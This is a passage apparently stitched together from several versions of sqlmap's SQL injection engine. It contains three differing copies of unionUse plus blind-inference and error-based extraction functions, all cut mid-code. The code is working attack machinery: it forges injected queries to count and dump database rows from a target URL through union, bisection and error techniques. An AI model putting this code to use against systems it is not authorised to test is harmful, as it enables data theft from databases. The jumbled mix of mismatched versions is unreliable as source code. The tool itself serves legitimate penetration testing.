iter(xrange(startLimit, stopLimit)) numThreads = min(conf.threads, (stopLimit - startLimit)) threadData.shared.value = BigArray() if stopLimit > TURN_OFF_RESUME_INFO_LIMIT: kb.suppressResumeInfo = True debugMsg = "suppressing possible resume console info because of " debugMsg += "large number of rows. It might take too long" logger.debug(debugMsg) try: def unionThread(): threadData = getCurrentThreadData() while kb.threadContinue: with kb.locks.limits: try: num = threadData.shared.limits.next() except StopIteration: break if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): field = expressionFieldsList[0] elif Backend.isDbms(DBMS.ORACLE): field = expressionFieldsList else: field = None limitedExpr = agent.limitQuery(num, expression, field) output = __oneShotUnionUse(limitedExpr, unpack, True) if not kb.threadContinue: break if output: if all(map(lambda x: x in output, [kb.chars.start, kb.chars.stop])): items = parseUnionPage(output) if isNoneValue(items): continue with kb.locks.value: for item in arrayizeValue(items): threadData.shared.value.append(item) else: items = output.replace(kb.chars.start, "").replace(kb.chars.stop, "").split(kb.chars.delimiter) if conf.verbose == 1 and not (threadData.resumed and kb.suppressResumeInfo): status = "[%s] [INFO] %s: %s" % (time.strftime("%X"), "resumed" if threadData.resumed else "retrieved", safecharencode(",".join("\"%s\"" % _ for _ in flattenValue(arrayizeValue(items))))) if len(status) > width: status = "%s..." % status[:width - 3] dataToStdout("%s\r\n" % status, True) runThreads(numThreads, unionThread) if conf.verbose == 1: clearConsoleLine(True) except KeyboardInterrupt: abortedFlag = True warnMsg = "user aborted during enumeration. sqlmap " warnMsg += "will display partial output" logger.warn(warnMsg) finally: value = threadData.shared.value kb.suppressResumeInfo = False if not value and not abortedFlag: expression = re.sub("\s*ORDER BY\s+[\w,]+", "", expression, re.I) # full inband doesn't play well with ORDER BY value = __oneShotUnionUse(expression, unpack) duration = calculateDeltaSeconds(start) if not kb.bruteMode: debugMsg = "performed %d queries in %d seconds" % (kb.counters[PAYLOAD.TECHNIQUE.UNION], duration) logger.debug(debugMsg) return value
def unionUse(expression, unpack=True, dump=False): """ This function tests for an union SQL injection on the target url then call its subsidiary function to effectively perform an union SQL injection on the affected url """ initTechnique(PAYLOAD.TECHNIQUE.UNION) abortedFlag = False count = None origExpr = expression startLimit = 0 stopLimit = None value = None width = getConsoleWidth() start = time.time() _, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields( origExpr) if expressionFieldsList and len( expressionFieldsList) > 1 and " ORDER BY " in expression.upper(): # No need for it in multicolumn dumps (one row is retrieved per request) and just slowing down on large table dumps expression = expression[:expression.upper().rindex(" ORDER BY ")] # We have to check if the SQL query might return multiple entries # and in such case forge the SQL limiting the query output one # entry per time # NOTE: I assume that only queries that get data from a table can # return multiple entries if (kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.NEGATIVE or \ (dump and (conf.limitStart or conf.limitStop))) and \ " FROM " in expression.upper() and ((Backend.getIdentifiedDbms() \ not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE \ and not expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) \ and not re.search(SQL_SCALAR_REGEX, expression, re.I): limitRegExp = re.search( queries[Backend.getIdentifiedDbms()].limitregexp.query, expression, re.I) topLimit = re.search("TOP\s+([\d]+)\s+", expression, re.I) if limitRegExp or (Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and topLimit): if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): limitGroupStart = queries[ Backend.getIdentifiedDbms()].limitgroupstart.query limitGroupStop = queries[ Backend.getIdentifiedDbms()].limitgroupstop.query if limitGroupStart.isdigit(): startLimit = int(limitRegExp.group(int(limitGroupStart))) stopLimit = limitRegExp.group(int(limitGroupStop)) limitCond = int(stopLimit) > 1 elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): if limitRegExp: limitGroupStart = queries[ Backend.getIdentifiedDbms()].limitgroupstart.query limitGroupStop = queries[ Backend.getIdentifiedDbms()].limitgroupstop.query if limitGroupStart.isdigit(): startLimit = int( limitRegExp.group(int(limitGroupStart))) stopLimit = limitRegExp.group(int(limitGroupStop)) limitCond = int(stopLimit) > 1 elif topLimit: startLimit = 0 stopLimit = int(topLimit.group(1)) limitCond = int(stopLimit) > 1 elif Backend.isDbms(DBMS.ORACLE): limitCond = False else: limitCond = True # I assume that only queries NOT containing a "LIMIT #, 1" # (or similar depending on the back-end DBMS) can return # multiple entries if limitCond: if limitRegExp: stopLimit = int(stopLimit) # From now on we need only the expression until the " LIMIT " # (or similar, depending on the back-end DBMS) word if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): stopLimit += startLimit untilLimitChar = expression.index( queries[Backend.getIdentifiedDbms()].limitstring.query) expression = expression[:untilLimitChar] elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): stopLimit += startLimit elif dump: if conf.limitStart: startLimit = conf.limitStart - 1 if conf.limitStop: stopLimit = conf.limitStop # Count the number of SQL query entries output countedExpression = expression.replace( expressionFields, queries[Backend.getIdentifiedDbms()].count.query % ('*' if len(expressionFieldsList) > 1 else expressionFields), 1) if " ORDER BY " in countedExpression.upper(): _ = countedExpression.upper().rindex(" ORDER BY ") countedExpression = countedExpression[:_] output = _oneShotUnionUse(countedExpression, unpack) count = parseUnionPage(output) if isNumPosStrValue(count): if isinstance(stopLimit, int) and stopLimit > 0: stopLimit = min(int(count), int(stopLimit)) else: stopLimit = int(count) infoMsg = "the SQL query used returns " infoMsg += "%d entries" % stopLimit logger.info(infoMsg) elif count and (not isinstance(count, basestring) or not count.isdigit()): warnMsg = "it was not possible to count the number " warnMsg += "of entries for the SQL query provided. " warnMsg += "sqlmap will assume that it returns only " warnMsg += "one entry" logger.warn(warnMsg) stopLimit = 1 elif not count or int(count) == 0: if not count: warnMsg = "the SQL query provided does not " warnMsg += "return any output" logger.warn(warnMsg) else: value = [] # for empty tables return value threadData = getCurrentThreadData() threadData.shared.limits = iter(xrange(startLimit, stopLimit)) numThreads = min(conf.threads, (stopLimit - startLimit)) threadData.shared.value = BigArray() threadData.shared.buffered = [] threadData.shared.lastFlushed = startLimit - 1 if stopLimit > TURN_OFF_RESUME_INFO_LIMIT: kb.suppressResumeInfo = True debugMsg = "suppressing possible resume console info because of " debugMsg += "large number of rows. It might take too long" logger.debug(debugMsg) try: def unionThread(): threadData = getCurrentThreadData() while kb.threadContinue: with kb.locks.limits: try: num = threadData.shared.limits.next() except StopIteration: break if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): field = expressionFieldsList[0] elif Backend.isDbms(DBMS.ORACLE): field = expressionFieldsList else: field = None limitedExpr = agent.limitQuery(num, expression, field) output = _oneShotUnionUse(limitedExpr, unpack, True) if not kb.threadContinue: break if output: if all( map(lambda _: _ in output, (kb.chars.start, kb.chars.stop))): items = parseUnionPage(output) with kb.locks.value: index = None for index in xrange( len(threadData.shared.buffered)): if threadData.shared.buffered[index][ 0] >= num: break threadData.shared.buffered.insert( index or 0, (num, items)) while threadData.shared.buffered and threadData.shared.lastFlushed + 1 == threadData.shared.buffered[ 0][0]: threadData.shared.lastFlushed += 1 _ = threadData.shared.buffered[0][1] if not isNoneValue(_): threadData.shared.value.extend( arrayizeValue(_)) del threadData.shared.buffered[0] else: with kb.locks.value: index = None for index in xrange( len(threadData.shared.buffered)): if threadData.shared.buffered[index][ 0] >= num: break threadData.shared.buffered.insert( index or 0, (num, None)) items = output.replace( kb.chars.start, "").replace(kb.chars.stop, "").split(kb.chars.delimiter) if conf.verbose == 1 and not ( threadData.resumed and kb.suppressResumeInfo): status = "[%s] [INFO] %s: %s" % ( time.strftime("%X"), "resumed" if threadData.resumed else "retrieved", safecharencode(",".join( "\"%s\"" % _ for _ in flattenValue( arrayizeValue(items))))) if len(status) > width: status = "%s..." % status[:width - 3] dataToStdout("%s\r\n" % status, True) runThreads(numThreads, unionThread) if conf.verbose == 1: clearConsoleLine(True) except KeyboardInterrupt: abortedFlag = True warnMsg = "user aborted during enumeration. sqlmap " warnMsg += "will display partial output" logger.warn(warnMsg) finally: for _ in sorted(threadData.shared.buffered): if not isNoneValue(_[1]): threadData.shared.value.extend(arrayizeValue(_[1])) value = threadData.shared.value kb.suppressResumeInfo = False if not value and not abortedFlag: expression = re.sub("\s*ORDER BY\s+[\w,]+", "", expression, re.I) # full union doesn't play well with ORDER BY value = _oneShotUnionUse(expression, unpack) duration = calculateDeltaSeconds(start) if not kb.bruteMode: debugMsg = "performed %d queries in %d seconds" % ( kb.counters[PAYLOAD.TECHNIQUE.UNION], duration) logger.debug(debugMsg) return value
def unionUse(expression, unpack=True, dump=False): """ This function tests for an inband SQL injection on the target url then call its subsidiary function to effectively perform an inband SQL injection on the affected url """ initTechnique(PAYLOAD.TECHNIQUE.UNION) global reqCount count = None origExpr = expression startLimit = 0 stopLimit = None test = True value = "" reqCount = 0 start = time.time() _, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields( origExpr) # We have to check if the SQL query might return multiple entries # and in such case forge the SQL limiting the query output one # entry per time # NOTE: I assume that only queries that get data from a table can # return multiple entries if (kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.NEGATIVE or \ (dump and (conf.limitStart or conf.limitStop))) and \ " FROM " in expression.upper() and ((Backend.getIdentifiedDbms() \ not in FROM_TABLE) or (Backend.getIdentifiedDbms() in FROM_TABLE \ and not expression.upper().endswith(FROM_TABLE[Backend.getIdentifiedDbms()]))) \ and not any(map(lambda x: x in expression.upper(), ["(CASE", "COUNT(*)", "EXISTS(", "MAX(", "MIN(", "COUNT(DISTINCT"])): limitRegExp = re.search( queries[Backend.getIdentifiedDbms()].limitregexp.query, expression, re.I) topLimit = re.search("TOP\s+([\d]+)\s+", expression, re.I) if limitRegExp or (Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and topLimit): if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): limitGroupStart = queries[ Backend.getIdentifiedDbms()].limitgroupstart.query limitGroupStop = queries[ Backend.getIdentifiedDbms()].limitgroupstop.query if limitGroupStart.isdigit(): startLimit = int(limitRegExp.group(int(limitGroupStart))) stopLimit = limitRegExp.group(int(limitGroupStop)) limitCond = int(stopLimit) > 1 elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): if limitRegExp: limitGroupStart = queries[ Backend.getIdentifiedDbms()].limitgroupstart.query limitGroupStop = queries[ Backend.getIdentifiedDbms()].limitgroupstop.query if limitGroupStart.isdigit(): startLimit = int( limitRegExp.group(int(limitGroupStart))) stopLimit = limitRegExp.group(int(limitGroupStop)) limitCond = int(stopLimit) > 1 elif topLimit: startLimit = 0 stopLimit = int(topLimit.group(1)) limitCond = int(stopLimit) > 1 elif Backend.getIdentifiedDbms() == DBMS.ORACLE: limitCond = False else: limitCond = True # I assume that only queries NOT containing a "LIMIT #, 1" # (or similar depending on the back-end DBMS) can return # multiple entries if limitCond: if limitRegExp: stopLimit = int(stopLimit) # From now on we need only the expression until the " LIMIT " # (or similar, depending on the back-end DBMS) word if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): stopLimit += startLimit untilLimitChar = expression.index( queries[Backend.getIdentifiedDbms()].limitstring.query) expression = expression[:untilLimitChar] elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): stopLimit += startLimit elif dump: if conf.limitStart: startLimit = conf.limitStart if conf.limitStop: stopLimit = conf.limitStop # Count the number of SQL query entries output countedExpression = expression.replace(expressionFields, "COUNT(*)", 1) if re.search(" ORDER BY ", expression, re.I): untilOrderChar = countedExpression.index(" ORDER BY ") countedExpression = countedExpression[:untilOrderChar] count = resume(countedExpression, None) count = parseUnionPage(count, countedExpression) if not count or not count.isdigit(): output = __oneShotUnionUse(countedExpression, unpack) if output: count = parseUnionPage(output, countedExpression) if (not count or (count.isdigit() and int(count) == 0)): warnMsg = "it was not possible to count the number " warnMsg += "of entries for the used SQL query. " warnMsg += "sqlmap will assume that it returns only " warnMsg += "one entry" logger.warn(warnMsg) stopLimit = 1 elif isNumPosStrValue(count): if isinstance(stopLimit, int) and stopLimit > 0: stopLimit = min(int(count), int(stopLimit)) else: stopLimit = int(count) infoMsg = "the SQL query used returns " infoMsg += "%d entries" % stopLimit logger.info(infoMsg) try: for num in xrange(startLimit, stopLimit): if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): field = expressionFieldsList[0] elif Backend.getIdentifiedDbms() == DBMS.ORACLE: field = expressionFieldsList else: field = None limitedExpr = agent.limitQuery(num, expression, field) output = resume(limitedExpr, None) if not output: output = __oneShotUnionUse(limitedExpr, unpack) if output: value += output if conf.verbose == 1: length = stopLimit - startLimit count = num - startLimit + 1 status = '%d/%d entries (%d%s)' % ( count, length, round(100.0 * count / length), '%') dataToStdout( "\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), status), True) if conf.verbose == 1: clearConsoleLine(True) except KeyboardInterrupt: print warnMsg = "user aborted during enumeration. sqlmap " warnMsg += "will display partial output" logger.warn(warnMsg) if not value: value = __oneShotUnionUse(expression, unpack) duration = calculateDeltaSeconds(start) if not kb.bruteMode: debugMsg = "performed %d queries in %d seconds" % (reqCount, duration) logger.debug(debugMsg) return value
def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, unpack=True, charsetType=None, firstChar=None, lastChar=None, dump=False): """ Retrieve the output of a SQL query characted by character taking advantage of an blind SQL injection vulnerability on the affected parameter through a bisection algorithm. """ initTechnique(kb.technique) query = agent.prefixQuery(kb.injection.data[kb.technique].vector) query = agent.suffixQuery(query) payload = agent.payload(newValue=query) count = None startLimit = 0 stopLimit = None outputs = BigArray() test = None untilLimitChar = None untilOrderChar = None if not unpack: return __goInference(payload, expression, charsetType, firstChar, lastChar, dump) _, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(expression) rdbRegExp = re.search("RDB\$GET_CONTEXT\([^)]+\)", expression, re.I) if rdbRegExp and Backend.isDbms(DBMS.FIREBIRD): expressionFieldsList = [expressionFields] if len(expressionFieldsList) > 1: infoMsg = "the SQL query provided has more than one field. " infoMsg += "sqlmap will now unpack it into distinct queries " infoMsg += "to be able to retrieve the output even if we " infoMsg += "are going blind" logger.info(infoMsg) # If we have been here from SQL query/shell we have to check if # the SQL query might return multiple entries and in such case # forge the SQL limiting the query output one entry per time # NOTE: I assume that only queries that get data from a table # can return multiple entries if fromUser and " FROM " in expression.upper() and ((Backend.getIdentifiedDbms() \ not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not \ expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) \ and not re.search(SQL_SCALAR_REGEX, expression, re.I): limitRegExp = re.search(queries[Backend.getIdentifiedDbms()].limitregexp.query, expression, re.I) topLimit = re.search("TOP\s+([\d]+)\s+", expression, re.I) if limitRegExp or (Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and topLimit): if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): limitGroupStart = queries[Backend.getIdentifiedDbms()].limitgroupstart.query limitGroupStop = queries[Backend.getIdentifiedDbms()].limitgroupstop.query if limitGroupStart.isdigit(): startLimit = int(limitRegExp.group(int(limitGroupStart))) stopLimit = limitRegExp.group(int(limitGroupStop)) limitCond = int(stopLimit) > 1 elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): if limitRegExp: limitGroupStart = queries[Backend.getIdentifiedDbms()].limitgroupstart.query limitGroupStop = queries[Backend.getIdentifiedDbms()].limitgroupstop.query if limitGroupStart.isdigit(): startLimit = int(limitRegExp.group(int(limitGroupStart))) stopLimit = limitRegExp.group(int(limitGroupStop)) limitCond = int(stopLimit) > 1 elif topLimit: startLimit = 0 stopLimit = int(topLimit.group(1)) limitCond = int(stopLimit) > 1 elif Backend.isDbms(DBMS.ORACLE): limitCond = False else: limitCond = True # I assume that only queries NOT containing a "LIMIT #, 1" # (or similar depending on the back-end DBMS) can return # multiple entries if limitCond: if limitRegExp: stopLimit = int(stopLimit) # From now on we need only the expression until the " LIMIT " # (or similar, depending on the back-end DBMS) word if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): stopLimit += startLimit untilLimitChar = expression.index(queries[Backend.getIdentifiedDbms()].limitstring.query) expression = expression[:untilLimitChar] elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): stopLimit += startLimit if not stopLimit or stopLimit <= 1: if Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]): test = False else: test = True if test: # Count the number of SQL query entries output countFirstField = queries[Backend.getIdentifiedDbms()].count.query % expressionFieldsList[0] countedExpression = expression.replace(expressionFields, countFirstField, 1) if re.search(" ORDER BY ", expression, re.I): untilOrderChar = countedExpression.index(" ORDER BY ") countedExpression = countedExpression[:untilOrderChar] if not stopLimit: count = __goInference(payload, countedExpression, CHARSET_TYPE.DIGITS, firstChar, lastChar) if isNumPosStrValue(count): count = int(count) if batch: stopLimit = count else: message = "the SQL query provided can return " message += "%d entries. How many " % count message += "entries do you want to retrieve?\n" message += "[a] All (default)\n[#] Specific number\n" message += "[q] Quit" test = readInput(message, default="a") if not test or test[0] in ("a", "A"): stopLimit = count elif test[0] in ("q", "Q"): raise sqlmapUserQuitException elif test.isdigit() and int(test) > 0 and int(test) <= count: stopLimit = int(test) infoMsg = "sqlmap is now going to retrieve the " infoMsg += "first %d query output entries" % stopLimit logger.info(infoMsg) elif test[0] in ("#", "s", "S"): message = "how many? " stopLimit = readInput(message, default="10") if not stopLimit.isdigit(): errMsg = "invalid choice" logger.error(errMsg) return None else: stopLimit = int(stopLimit) else: errMsg = "invalid choice" logger.error(errMsg) return None elif count and not count.isdigit(): warnMsg = "it was not possible to count the number " warnMsg += "of entries for the SQL query provided. " warnMsg += "sqlmap will assume that it returns only " warnMsg += "one entry" logger.warn(warnMsg) stopLimit = 1 elif (not count or int(count) == 0): if not count: warnMsg = "the SQL query provided does not " warnMsg += "return any output" logger.warn(warnMsg) return None elif (not stopLimit or stopLimit == 0): return None try: for num in xrange(startLimit, stopLimit): output = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected, num, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar, dump=dump) outputs.append(output) except KeyboardInterrupt: print warnMsg = "user aborted during dumping phase" logger.warn(warnMsg) return outputs elif Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and expression.upper().startswith("SELECT ") and " FROM " not in expression.upper(): expression += FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()] outputs = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar, dump=dump) return ", ".join(output for output in outputs) if not isNoneValue(outputs) else None
def _goInferenceProxy(expression, fromUser=False, batch=False, unpack=True, charsetType=None, firstChar=None, lastChar=None, dump=False): """ Retrieve the output of a SQL query characted by character taking advantage of an blind SQL injection vulnerability on the affected parameter through a bisection algorithm. """ initTechnique(kb.technique) query = agent.prefixQuery(kb.injection.data[kb.technique].vector) query = agent.suffixQuery(query) payload = agent.payload(newValue=query) count = None startLimit = 0 stopLimit = None outputs = BigArray() if not unpack: return _goInference(payload, expression, charsetType, firstChar, lastChar, dump) _, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(expression) rdbRegExp = re.search("RDB\$GET_CONTEXT\([^)]+\)", expression, re.I) if rdbRegExp and Backend.isDbms(DBMS.FIREBIRD): expressionFieldsList = [expressionFields] if len(expressionFieldsList) > 1: infoMsg = "the SQL query provided has more than one field. " infoMsg += "sqlmap will now unpack it into distinct queries " infoMsg += "to be able to retrieve the output even if we " infoMsg += "are going blind" logger.info(infoMsg) # If we have been here from SQL query/shell we have to check if # the SQL query might return multiple entries and in such case # forge the SQL limiting the query output one entry at a time # NOTE: we assume that only queries that get data from a table # can return multiple entries if fromUser and " FROM " in expression.upper() and ((Backend.getIdentifiedDbms() \ not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not \ expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) \ and not re.search(SQL_SCALAR_REGEX, expression, re.I): expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression) if limitCond: test = True if not stopLimit or stopLimit <= 1: if Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]): test = False if test: # Count the number of SQL query entries output countFirstField = queries[Backend.getIdentifiedDbms()].count.query % expressionFieldsList[0] countedExpression = expression.replace(expressionFields, countFirstField, 1) if " ORDER BY " in countedExpression.upper(): _ = countedExpression.upper().rindex(" ORDER BY ") countedExpression = countedExpression[:_] if not stopLimit: count = _goInference(payload, countedExpression, charsetType=CHARSET_TYPE.DIGITS, firstChar=firstChar, lastChar=lastChar) if isNumPosStrValue(count): count = int(count) if batch or count == 1: stopLimit = count else: message = "the SQL query provided can return " message += "%d entries. How many " % count message += "entries do you want to retrieve?\n" message += "[a] All (default)\n[#] Specific number\n" message += "[q] Quit" test = readInput(message, default="a") if not test or test[0] in ("a", "A"): stopLimit = count elif test[0] in ("q", "Q"): raise SqlmapUserQuitException elif test.isdigit() and int(test) > 0 and int(test) <= count: stopLimit = int(test) infoMsg = "sqlmap is now going to retrieve the " infoMsg += "first %d query output entries" % stopLimit logger.info(infoMsg) elif test[0] in ("#", "s", "S"): message = "how many? " stopLimit = readInput(message, default="10") if not stopLimit.isdigit(): errMsg = "invalid choice" logger.error(errMsg) return None else: stopLimit = int(stopLimit) else: errMsg = "invalid choice" logger.error(errMsg) return None elif count and not count.isdigit(): warnMsg = "it was not possible to count the number " warnMsg += "of entries for the SQL query provided. " warnMsg += "sqlmap will assume that it returns only " warnMsg += "one entry" logger.warn(warnMsg) stopLimit = 1 elif (not count or int(count) == 0): if not count: warnMsg = "the SQL query provided does not " warnMsg += "return any output" logger.warn(warnMsg) return None elif (not stopLimit or stopLimit == 0): return None try: try: for num in xrange(startLimit, stopLimit): output = _goInferenceFields(expression, expressionFields, expressionFieldsList, payload, num=num, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar, dump=dump) outputs.append(output) except OverflowError: errMsg = "boundary limits (%d,%d) are too large. Please rerun " % (startLimit, stopLimit) errMsg += "with switch '--fresh-queries'" raise SqlmapDataException(errMsg) except KeyboardInterrupt: print warnMsg = "user aborted during dumping phase" logger.warn(warnMsg) return outputs elif Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and expression.upper().startswith("SELECT ") and " FROM " not in expression.upper(): expression += FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()] outputs = _goInferenceFields(expression, expressionFields, expressionFieldsList, payload, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar, dump=dump) return ", ".join(output or "" for output in outputs) if not isNoneValue(outputs) else None
def errorUse(expression, dump=False): """ Retrieve the output of a SQL query taking advantage of the error-based SQL injection vulnerability on the affected parameter. """ initTechnique(getTechnique()) abortedFlag = False count = None emptyFields = [] start = time.time() startLimit = 0 stopLimit = None value = None _, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields( expression) # Set kb.partRun in case the engine is called from the API kb.partRun = getPartRun(alias=False) if conf.api else None # We have to check if the SQL query might return multiple entries # and in such case forge the SQL limiting the query output one # entry at a time # NOTE: we assume that only queries that get data from a table can # return multiple entries if (dump and (conf.limitStart or conf.limitStop)) or ( " FROM " in expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not expression. upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) and ("(CASE" not in expression.upper() or ("(CASE" in expression.upper() and "WHEN use" in expression)) ) and not re.search(SQL_SCALAR_REGEX, expression, re.I): expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition( expression, dump) if limitCond: # Count the number of SQL query entries output countedExpression = expression.replace( expressionFields, queries[Backend.getIdentifiedDbms()].count.query % ('*' if len(expressionFieldsList) > 1 else expressionFields), 1) if " ORDER BY " in countedExpression.upper(): _ = countedExpression.upper().rindex(" ORDER BY ") countedExpression = countedExpression[:_] _, _, _, _, _, _, countedExpressionFields, _ = agent.getFields( countedExpression) count = unArrayizeValue( _oneShotErrorUse(countedExpression, countedExpressionFields)) if isNumPosStrValue(count): if isinstance(stopLimit, int) and stopLimit > 0: stopLimit = min(int(count), int(stopLimit)) else: stopLimit = int(count) debugMsg = "used SQL query returns " debugMsg += "%d %s" % (stopLimit, "entries" if stopLimit > 1 else "entry") logger.debug(debugMsg) elif count and not count.isdigit(): warnMsg = "it was not possible to count the number " warnMsg += "of entries for the SQL query provided. " warnMsg += "sqlmap will assume that it returns only " warnMsg += "one entry" logger.warn(warnMsg) stopLimit = 1 elif (not count or int(count) == 0): if not count: warnMsg = "the SQL query provided does not " warnMsg += "return any output" logger.warn(warnMsg) else: value = [] # for empty tables return value if isNumPosStrValue(count) and int(count) > 1: if " ORDER BY " in expression and ( stopLimit - startLimit) > SLOW_ORDER_COUNT_THRESHOLD: message = "due to huge table size do you want to remove " message += "ORDER BY clause gaining speed over consistency? [y/N] " if readInput(message, default='N', boolean=True): expression = expression[:expression.index(" ORDER BY " )] numThreads = min(conf.threads, (stopLimit - startLimit)) threadData = getCurrentThreadData() try: threadData.shared.limits = iter( xrange(startLimit, stopLimit)) except OverflowError: errMsg = "boundary limits (%d,%d) are too large. Please rerun " % ( startLimit, stopLimit) errMsg += "with switch '--fresh-queries'" raise SqlmapDataException(errMsg) threadData.shared.value = BigArray() threadData.shared.buffered = [] threadData.shared.counter = 0 threadData.shared.lastFlushed = startLimit - 1 threadData.shared.showEta = conf.eta and (stopLimit - startLimit) > 1 if threadData.shared.showEta: threadData.shared.progress = ProgressBar( maxValue=(stopLimit - startLimit)) if kb.dumpTable and (len(expressionFieldsList) < (stopLimit - startLimit) > CHECK_ZERO_COLUMNS_THRESHOLD): for field in expressionFieldsList: if _oneShotErrorUse("SELECT COUNT(%s) FROM %s" % (field, kb.dumpTable)) == '0': emptyFields.append(field) debugMsg = "column '%s' of table '%s' will not be " % ( field, kb.dumpTable) debugMsg += "dumped as it appears to be empty" logger.debug(debugMsg) if stopLimit > TURN_OFF_RESUME_INFO_LIMIT: kb.suppressResumeInfo = True debugMsg = "suppressing possible resume console info because of " debugMsg += "large number of rows. It might take too long" logger.debug(debugMsg) try: def errorThread(): threadData = getCurrentThreadData() while kb.threadContinue: with kb.locks.limit: try: threadData.shared.counter += 1 num = next(threadData.shared.limits) except StopIteration: break output = _errorFields(expression, expressionFields, expressionFieldsList, num, emptyFields, threadData.shared.showEta) if not kb.threadContinue: break if output and isListLike(output) and len( output) == 1: output = unArrayizeValue(output) with kb.locks.value: index = None if threadData.shared.showEta: threadData.shared.progress.progress( threadData.shared.counter) for index in xrange( 1 + len(threadData.shared.buffered)): if index < len( threadData.shared.buffered ) and threadData.shared.buffered[index][ 0] >= num: break threadData.shared.buffered.insert( index or 0, (num, output)) while threadData.shared.buffered and threadData.shared.lastFlushed + 1 == threadData.shared.buffered[ 0][0]: threadData.shared.lastFlushed += 1 threadData.shared.value.append( threadData.shared.buffered[0][1]) del threadData.shared.buffered[0] runThreads(numThreads, errorThread) except KeyboardInterrupt: abortedFlag = True warnMsg = "user aborted during enumeration. sqlmap " warnMsg += "will display partial output" logger.warn(warnMsg) finally: threadData.shared.value.extend( _[1] for _ in sorted(threadData.shared.buffered)) value = threadData.shared.value kb.suppressResumeInfo = False if not value and not abortedFlag: value = _errorFields(expression, expressionFields, expressionFieldsList) if value and isListLike(value): if len(value) == 1 and isinstance(value[0], (six.string_types, type(None))): value = unArrayizeValue(value) elif len(value) > 1 and stopLimit == 1: value = [value] duration = calculateDeltaSeconds(start) if not kb.bruteMode: debugMsg = "performed %d quer%s in %.2f seconds" % ( kb.counters[getTechnique()], 'y' if kb.counters[getTechnique()] == 1 else "ies", duration) logger.debug(debugMsg) return value
def unionUse(expression, unpack=True, dump=False): """ This function tests for an UNION SQL injection on the target URL then call its subsidiary function to effectively perform an UNION SQL injection on the affected URL """ initTechnique(PAYLOAD.TECHNIQUE.UNION) abortedFlag = False count = None origExpr = expression startLimit = 0 stopLimit = None value = None width = getConsoleWidth() start = time.time() _, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields( origExpr) # Set kb.partRun in case the engine is called from the API kb.partRun = getPartRun(alias=False) if conf.api else None if Backend.isDbms(DBMS.MSSQL) and kb.dumpColumns: kb.rowXmlMode = True _ = "(%s FOR XML RAW, BINARY BASE64)" % expression output = _oneShotUnionUse(_, False) value = parseUnionPage(output) kb.rowXmlMode = False if expressionFieldsList and len( expressionFieldsList) > 1 and "ORDER BY" in expression.upper(): # Removed ORDER BY clause because UNION does not play well with it expression = re.sub(r"(?i)\s*ORDER BY\s+[\w,]+", "", expression) debugMsg = "stripping ORDER BY clause from statement because " debugMsg += "it does not play well with UNION query SQL injection" singleTimeDebugMessage(debugMsg) # We have to check if the SQL query might return multiple entries # if the technique is partial UNION query and in such case forge the # SQL limiting the query output one entry at a time # NOTE: we assume that only queries that get data from a table can # return multiple entries if value is None and ( kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.NEGATIVE or kb.forcePartialUnion or (dump and (conf.limitStart or conf.limitStop)) or 